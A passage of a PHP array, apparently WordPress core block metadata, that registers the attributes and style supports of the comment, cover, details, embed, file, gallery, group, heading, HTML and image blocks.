'wp-block-comment-content' ), 'comment-date' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comment-date', 'title' => 'Comment Date', 'category' => 'theme', 'ancestor' => array( 'core/comment-template' ), 'description' => 'Displays the date on which the comment was posted.', 'textdomain' => 'default', 'attributes' => array( 'format' => array( 'type' => 'string' ), 'isLink' => array( 'type' => 'boolean', 'default' => true ) ), 'usesContext' => array( 'commentId' ), 'supports' => array( 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'style' => 'wp-block-comment-date' ), 'comment-edit-link' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comment-edit-link', 'title' => 'Comment Edit Link', 'category' => 'theme', 'ancestor' => array( 'core/comment-template' ), 'description' => 'Displays a link to edit the comment in the WordPress Dashboard. This link is only visible to users with the edit comment capability.', 'textdomain' => 'default', 'usesContext' => array( 'commentId' ), 'attributes' => array( 'linkTarget' => array( 'type' => 'string', 'default' => '_self' ), 'textAlign' => array( 'type' => 'string' ) ), 'supports' => array( 'html' => false, 'color' => array( 'link' => true, 'gradients' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true, 'link' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ), 'style' => 'wp-block-comment-edit-link' ), 'comment-reply-link' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comment-reply-link', 'title' => 'Comment Reply Link', 'category' => 'theme', 'ancestor' => array( 'core/comment-template' ), 'description' => 'Displays a link to reply to a comment.', 'textdomain' => 'default', 'usesContext' => array( 'commentId' ), 'attributes' => array( 'textAlign' => array( 'type' => 'string' ) ), 'supports' => array( 'color' => array( 'gradients' => true, 'link' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true, 'link' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ), 'html' => false ), 'style' => 'wp-block-comment-reply-link' ), 'comment-template' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comment-template', 'title' => 'Comment Template', 'category' => 'design', 'parent' => array( 'core/comments' ), 'description' => 'Contains the block elements used to display a comment, like the title, date, author, avatar and more.', 'textdomain' => 'default', 'usesContext' => array( 'postId' ), 'supports' => array( 'align' => true, 'html' => false, 'reusable' => false, 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'style' => 'wp-block-comment-template' ), 'comments' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comments', 'title' => 'Comments', 'category' => 'theme', 'description' => 'An advanced block that allows displaying post comments using different visual configurations.', 'textdomain' => 'default', 'attributes' => array( 'tagName' => array( 'type' => 'string', 'default' => 'div' ), 'legacy' => array( 'type' => 'boolean', 'default' => false ) ), 'supports' => array( 'align' => array( 'wide', 'full' ), 'html' => false, 'color' => array( 'gradients' => true, 'heading' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ) ), 'editorStyle' => 'wp-block-comments-editor', 'usesContext' => array( 'postId', 'postType' ) ), 'comments-pagination' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comments-pagination', 'title' => 'Comments Pagination', 'category' => 'theme', 'parent' => array( 'core/comments' ), 'allowedBlocks' => array( 'core/comments-pagination-previous', 'core/comments-pagination-numbers', 'core/comments-pagination-next' ), 'description' => 'Displays a paginated navigation to next/previous set of comments, when applicable.', 'textdomain' => 'default', 'attributes' => array( 'paginationArrow' => array( 'type' => 'string', 'default' => 'none' ) ), 'providesContext' => array( 'comments/paginationArrow' => 'paginationArrow' ), 'supports' => array( 'align' => true, 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'layout' => array( 'allowSwitching' => false, 'allowInheriting' => false, 'default' => array( 'type' => 'flex' ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-comments-pagination-editor', 'style' => 'wp-block-comments-pagination' ), 'comments-pagination-next' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comments-pagination-next', 'title' => 'Comments Next Page', 'category' => 'theme', 'parent' => array( 'core/comments-pagination' ), 'description' => 'Displays the next comment\'s page link.', 'textdomain' => 'default', 'attributes' => array( 'label' => array( 'type' => 'string' ) ), 'usesContext' => array( 'postId', 'comments/paginationArrow' ), 'supports' => array( 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ) ), 'comments-pagination-numbers' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comments-pagination-numbers', 'title' => 'Comments Page Numbers', 'category' => 'theme', 'parent' => array( 'core/comments-pagination' ), 'description' => 'Displays a list of page numbers for comments pagination.', 'textdomain' => 'default', 'usesContext' => array( 'postId' ), 'supports' => array( 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ) ), 'comments-pagination-previous' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comments-pagination-previous', 'title' => 'Comments Previous Page', 'category' => 'theme', 'parent' => array( 'core/comments-pagination' ), 'description' => 'Displays the previous comment\'s page link.', 'textdomain' => 'default', 'attributes' => array( 'label' => array( 'type' => 'string' ) ), 'usesContext' => array( 'postId', 'comments/paginationArrow' ), 'supports' => array( 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ) ), 'comments-title' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comments-title', 'title' => 'Comments Title', 'category' => 'theme', 'ancestor' => array( 'core/comments' ), 'description' => 'Displays a title with the number of comments.', 'textdomain' => 'default', 'usesContext' => array( 'postId', 'postType' ), 'attributes' => array( 'textAlign' => array( 'type' => 'string' ), 'showPostTitle' => array( 'type' => 'boolean', 'default' => true ), 'showCommentsCount' => array( 'type' => 'boolean', 'default' => true ), 'level' => array( 'type' => 'number', 'default' => 2 ), 'levelOptions' => array( 'type' => 'array' ) ), 'supports' => array( 'anchor' => false, 'align' => true, 'html' => false, '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ), 'color' => array( 'gradients' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true, '__experimentalFontFamily' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ) ), 'cover' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/cover', 'title' => 'Cover', 'category' => 'media', 'description' => 'Add an image or video with a text overlay.', 'textdomain' => 'default', 'attributes' => array( 'url' => array( 'type' => 'string' ), 'useFeaturedImage' => array( 'type' => 'boolean', 'default' => false ), 'id' => array( 'type' => 'number' ), 'alt' => array( 'type' => 'string', 'default' => '' ), 'hasParallax' => array( 'type' => 'boolean', 'default' => false ), 'isRepeated' => array( 'type' => 'boolean', 'default' => false ), 'dimRatio' => array( 'type' => 'number', 'default' => 100 ), 'overlayColor' => array( 'type' => 'string' ), 'customOverlayColor' => array( 'type' => 'string' ), 'isUserOverlayColor' => array( 'type' => 'boolean' ), 'backgroundType' => array( 'type' => 'string', 'default' => 'image' ), 'focalPoint' => array( 'type' => 'object' ), 'minHeight' => array( 'type' => 'number' ), 'minHeightUnit' => array( 'type' => 'string' ), 'gradient' => array( 'type' => 'string' ), 'customGradient' => array( 'type' => 'string' ), 'contentPosition' => array( 'type' => 'string' ), 'isDark' => array( 'type' => 'boolean', 'default' => true ), 'allowedBlocks' => array( 'type' => 'array' ), 'templateLock' => array( 'type' => array( 'string', 'boolean' ), 'enum' => array( 'all', 'insert', 'contentOnly', false ) ), 'tagName' => array( 'type' => 'string', 'default' => 'div' ) ), 'usesContext' => array( 'postId', 'postType' ), 'supports' => array( 'anchor' => true, 'align' => true, 'html' => false, 'shadow' => true, 'spacing' => array( 'padding' => true, 'margin' => array( 'top', 'bottom' ), 'blockGap' => true, '__experimentalDefaultControls' => array( 'padding' => true, 'blockGap' => true ) ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ) ), 'color' => array( '__experimentalDuotone' => '> .wp-block-cover__image-background, > .wp-block-cover__video-background', 'heading' => true, 'text' => true, 'background' => false, '__experimentalSkipSerialization' => array( 'gradients' ), 'enableContrastChecker' => false ), 'dimensions' => array( 'aspectRatio' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'layout' => array( 'allowJustification' => false ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-cover-editor', 'style' => 'wp-block-cover' ), 'details' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/details', 'title' => 'Details', 'category' => 'text', 'description' => 'Hide and show additional content.', 'keywords' => array( 'accordion', 'summary', 'toggle', 'disclosure' ), 'textdomain' => 'default', 'attributes' => array( 'showContent' => array( 'type' => 'boolean', 'default' => false ), 'summary' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'summary' ) ), 'supports' => array( '__experimentalOnEnter' => true, 'align' => array( 'wide', 'full' ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), '__experimentalBorder' => array( 'color' => true, 'width' => true, 'style' => true ), 'html' => false, 'spacing' => array( 'margin' => true, 'padding' => true, 'blockGap' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'layout' => array( 'allowEditing' => false ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-details-editor', 'style' => 'wp-block-details' ), 'embed' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/embed', 'title' => 'Embed', 'category' => 'embed', 'description' => 'Add a block that displays content pulled from other sites, like Twitter or YouTube.', 'textdomain' => 'default', 'attributes' => array( 'url' => array( 'type' => 'string', 'role' => 'content' ), 'caption' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'figcaption', 'role' => 'content' ), 'type' => array( 'type' => 'string', 'role' => 'content' ), 'providerNameSlug' => array( 'type' => 'string', 'role' => 'content' ), 'allowResponsive' => array( 'type' => 'boolean', 'default' => true ), 'responsive' => array( 'type' => 'boolean', 'default' => false, 'role' => 'content' ), 'previewable' => array( 'type' => 'boolean', 'default' => true, 'role' => 'content' ) ), 'supports' => array( 'align' => true, 'spacing' => array( 'margin' => true ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-embed-editor', 'style' => 'wp-block-embed' ), 'file' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/file', 'title' => 'File', 'category' => 'media', 'description' => 'Add a link to a downloadable file.', 'keywords' => array( 'document', 'pdf', 'download' ), 'textdomain' => 'default', 'attributes' => array( 'id' => array( 'type' => 'number' ), 'blob' => array( 'type' => 'string', 'role' => 'local' ), 'href' => array( 'type' => 'string' ), 'fileId' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'a:not([download])', 'attribute' => 'id' ), 'fileName' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'a:not([download])' ), 'textLinkHref' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'a:not([download])', 'attribute' => 'href' ), 'textLinkTarget' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'a:not([download])', 'attribute' => 'target' ), 'showDownloadButton' => array( 'type' => 'boolean', 'default' => true ), 'downloadButtonText' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'a[download]' ), 'displayPreview' => array( 'type' => 'boolean' ), 'previewHeight' => array( 'type' => 'number', 'default' => 600 ) ), 'supports' => array( 'anchor' => true, 'align' => true, 'spacing' => array( 'margin' => true, 'padding' => true ), 'color' => array( 'gradients' => true, 'link' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true, 'link' => true ) ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ), 'interactivity' => true ), 'editorStyle' => 'wp-block-file-editor', 'style' => 'wp-block-file' ), 'footnotes' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/footnotes', 'title' => 'Footnotes', 'category' => 'text', 'description' => 'Display footnotes added to the page.', 'keywords' => array( 'references' ), 'textdomain' => 'default', 'usesContext' => array( 'postId', 'postType' ), 'supports' => array( '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => false, 'color' => false, 'width' => false, 'style' => false ) ), 'color' => array( 'background' => true, 'link' => true, 'text' => true, '__experimentalDefaultControls' => array( 'link' => true, 'text' => true ) ), 'html' => false, 'multiple' => false, 'reusable' => false, 'inserter' => false, 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalTextDecoration' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalTextTransform' => true, '__experimentalWritingMode' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'style' => 'wp-block-footnotes' ), 'freeform' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/freeform', 'title' => 'Classic', 'category' => 'text', 'description' => 'Use the classic WordPress editor.', 'textdomain' => 'default', 'attributes' => array( 'content' => array( 'type' => 'string', 'source' => 'raw' ) ), 'supports' => array( 'className' => false, 'customClassName' => false, 'reusable' => false ), 'editorStyle' => 'wp-block-freeform-editor' ), 'gallery' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/gallery', 'title' => 'Gallery', 'category' => 'media', 'allowedBlocks' => array( 'core/image' ), 'description' => 'Display multiple images in a rich gallery.', 'keywords' => array( 'images', 'photos' ), 'textdomain' => 'default', 'attributes' => array( 'images' => array( 'type' => 'array', 'default' => array( ), 'source' => 'query', 'selector' => '.blocks-gallery-item', 'query' => array( 'url' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'img', 'attribute' => 'src' ), 'fullUrl' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'img', 'attribute' => 'data-full-url' ), 'link' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'img', 'attribute' => 'data-link' ), 'alt' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'img', 'attribute' => 'alt', 'default' => '' ), 'id' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'img', 'attribute' => 'data-id' ), 'caption' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => '.blocks-gallery-item__caption' ) ) ), 'ids' => array( 'type' => 'array', 'items' => array( 'type' => 'number' ), 'default' => array( ) ), 'shortCodeTransforms' => array( 'type' => 'array', 'items' => array( 'type' => 'object' ), 'default' => array( ) ), 'columns' => array( 'type' => 'number', 'minimum' => 1, 'maximum' => 8 ), 'caption' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => '.blocks-gallery-caption' ), 'imageCrop' => array( 'type' => 'boolean', 'default' => true ), 'randomOrder' => array( 'type' => 'boolean', 'default' => false ), 'fixedHeight' => array( 'type' => 'boolean', 'default' => true ), 'linkTarget' => array( 'type' => 'string' ), 'linkTo' => array( 'type' => 'string' ), 'sizeSlug' => array( 'type' => 'string', 'default' => 'large' ), 'allowResize' => array( 'type' => 'boolean', 'default' => false ) ), 'providesContext' => array( 'allowResize' => 'allowResize', 'imageCrop' => 'imageCrop', 'fixedHeight' => 'fixedHeight' ), 'supports' => array( 'anchor' => true, 'align' => true, '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true ) ), 'html' => false, 'units' => array( 'px', 'em', 'rem', 'vh', 'vw' ), 'spacing' => array( 'margin' => true, 'padding' => true, 'blockGap' => array( 'horizontal', 'vertical' ), '__experimentalSkipSerialization' => array( 'blockGap' ), '__experimentalDefaultControls' => array( 'blockGap' => true, 'margin' => false, 'padding' => false ) ), 'color' => array( 'text' => false, 'background' => true, 'gradients' => true ), 'layout' => array( 'allowSwitching' => false, 'allowInheriting' => false, 'allowEditing' => false, 'default' => array( 'type' => 'flex' ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-gallery-editor', 'style' => 'wp-block-gallery' ), 'group' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/group', 'title' => 'Group', 'category' => 'design', 'description' => 'Gather blocks in a layout container.', 'keywords' => array( 'container', 'wrapper', 'row', 'section' ), 'textdomain' => 'default', 'attributes' => array( 'tagName' => array( 'type' => 'string', 'default' => 'div' ), 'templateLock' => array( 'type' => array( 'string', 'boolean' ), 'enum' => array( 'all', 'insert', 'contentOnly', false ) ), 'allowedBlocks' => array( 'type' => 'array' ) ), 'supports' => array( '__experimentalOnEnter' => true, '__experimentalOnMerge' => true, '__experimentalSettings' => true, 'align' => array( 'wide', 'full' ), 'anchor' => true, 'ariaLabel' => true, 'html' => false, 'background' => array( 'backgroundImage' => true, 'backgroundSize' => true, '__experimentalDefaultControls' => array( 'backgroundImage' => true ) ), 'color' => array( 'gradients' => true, 'heading' => true, 'button' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'shadow' => true, 'spacing' => array( 'margin' => array( 'top', 'bottom' ), 'padding' => true, 'blockGap' => true, '__experimentalDefaultControls' => array( 'padding' => true, 'blockGap' => true ) ), 'dimensions' => array( 'minHeight' => true ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ) ), 'position' => array( 'sticky' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'layout' => array( 'allowSizingOnChildren' => true ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-group-editor', 'style' => 'wp-block-group' ), 'heading' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/heading', 'title' => 'Heading', 'category' => 'text', 'description' => 'Introduce new sections and organize content to help visitors (and search engines) understand the structure of your content.', 'keywords' => array( 'title', 'subtitle' ), 'textdomain' => 'default', 'attributes' => array( 'textAlign' => array( 'type' => 'string' ), 'content' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'h1,h2,h3,h4,h5,h6', 'role' => 'content' ), 'level' => array( 'type' => 'number', 'default' => 2 ), 'levelOptions' => array( 'type' => 'array' ), 'placeholder' => array( 'type' => 'string' ) ), 'supports' => array( 'align' => array( 'wide', 'full' ), 'anchor' => true, 'className' => true, 'splitting' => true, '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ) ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalWritingMode' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), '__unstablePasteTextInline' => true, '__experimentalSlashInserter' => true, 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-heading-editor', 'style' => 'wp-block-heading' ), 'home-link' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/home-link', 'category' => 'design', 'parent' => array( 'core/navigation' ), 'title' => 'Home Link', 'description' => 'Create a link that always points to the homepage of the site. Usually not necessary if there is already a site title link present in the header.', 'textdomain' => 'default', 'attributes' => array( 'label' => array( 'type' => 'string' ) ), 'usesContext' => array( 'textColor', 'customTextColor', 'backgroundColor', 'customBackgroundColor', 'fontSize', 'customFontSize', 'style' ), 'supports' => array( 'reusable' => false, 'html' => false, 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-home-link-editor', 'style' => 'wp-block-home-link' ), 'html' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/html', 'title' => 'Custom HTML', 'category' => 'widgets', 'description' => 'Add custom HTML code and preview it as you edit.', 'keywords' => array( 'embed' ), 'textdomain' => 'default', 'attributes' => array( 'content' => array( 'type' => 'string', 'source' => 'raw' ) ), 'supports' => array( 'customClassName' => false, 'className' => false, 'html' => false, 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-html-editor' ), 'image' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/image', 'title' => 'Image', 'category' => 'media', 'usesContext' => array( 'allowResize', 'imageCrop', 'fixedHeight' ), 'description' => 'Insert an image to make a visual statement.', 'keywords' => array( 'img', 'photo', 'picture' ), 'textdomain' => 'default', 'attributes' => array( 'blob' => array( 'type' => 'string', 'role' => 'local' ), 'url' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'img', 'attribute' => 'src', 'role' => 'content' ), 'alt' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'img', 'attribute' => 'alt', 'default' => '', 'role' => 'content' ), 'caption' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'figcaption', 'role' => 'content' ), 'lightbox' => array( 'type' => 'object', 'enabled' => array( 'type' => 'boolean' ) ), 'title' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'img', 'attribute' => 'title', 'role' => 'content' ), 'href' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure > a', 'attribute' => 'href', 'role' => 'content' ), 'rel' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure > a', 'attribute' => 'rel' ), 'linkClass' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure > a', 'attribute' => 'class' ), 'id' => array( 'type' => 'number', 'role' => 'content' ), 'width' => array( 'type' => 'string' ), 'height' => array( 'type' => 'string' ), 'aspectRatio' => array( 'type' => 'string' ), 'scale' => array( 'type' => 'string' ), 'sizeSlug' => array( 'type' => 'string' ), 'linkDestination' => array( 'type' => 'string' ), 'linkTarget' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'figure > a', 'attribute' => 'target' ) ), 'supports' => array( 'interactivity' => true, 'align' => array( 'left', 'center', 'right', 'wide', 'full' ), 'anchor' => true, 'color' => array( 'text' => false, 'background' => false ), 'filter' => array( 'duotone' => true ), 'spacing' => array( 'margin' => true ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'width' => true, '__experimentalSkipSerialization' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'width' => true ) ), 'shadow' => array( '__experimentalSkipSerialization' => true ) ), 'selectors' => array( 'border' => '.wp-block-image img, .wp-block-image .wp-block-image__crop-area, .wp-block-image .components-placeholder', 'shadow' => '.wp-block-image img, .wp-block-image .wp-block-image__crop-area, .wp-block-image .components-placeholder', 'filter' => array( 'duotone' => '.wp-block-image img, .wp-block-image .components-placeholder' ) ), 'styles' => array( array( 'name' => 'default', 'label' => 'Default', 'isDefault' => true ), array( 'name' => 'rounded', 'label' => 'Rounded' ) ), 'editorStyle' => 'wp-block-image-editor', 'style' => 'wp-block-image' ), 'latest-comments' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 